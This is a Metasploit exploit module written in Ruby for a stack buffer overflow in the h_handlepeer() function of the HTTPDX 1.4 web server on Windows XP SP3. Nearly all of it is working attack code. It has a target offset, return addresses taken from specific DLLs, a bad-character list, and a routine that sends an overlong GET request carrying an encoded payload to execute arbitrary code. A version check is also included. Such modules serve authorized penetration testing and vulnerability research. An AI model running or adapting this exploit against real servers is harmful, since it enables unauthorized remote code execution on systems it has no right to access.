HTTPDX h_handlepeer() Buffer Overflow

`require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The   
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.  
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.  
},  
'Author' => [   
'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References]  
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation  
],   
'References' =>  
[  
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],  
[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],  
[ 'OSVDB', '58714' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2c\x2f\x3a\x3b\x3d\x3f\x5c",  
'StackAdjustment' => -1500,  
'DisableNops' => 'True',  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'httpdx 1.4 - Windows XP SP3',  
{  
'Offset' => 616,  
'Rets' => [ 0x64f8134b, 0x63b8624f, 0x7c874413 ], # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)  
}  
],  
],  
'DefaultTarget' => 0))  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def check  
response = send_request_raw  
  
if response and   
response['Server'] and   
response['Server'] =~ /httpdx\/1.4 (Win32)/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="  
sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)  
sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')  
sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)  
  
request = sploit + " HTTP/1.1\r\nHost: " + rand_text_alphanumeric(rand(8) + 1) + "\r\n\r\n"  
  
print_status("Trying target #{target.name}...")  
  
sock.put(request)  
sock.close  
  
disconnect  
handler  
end  
end  
  
`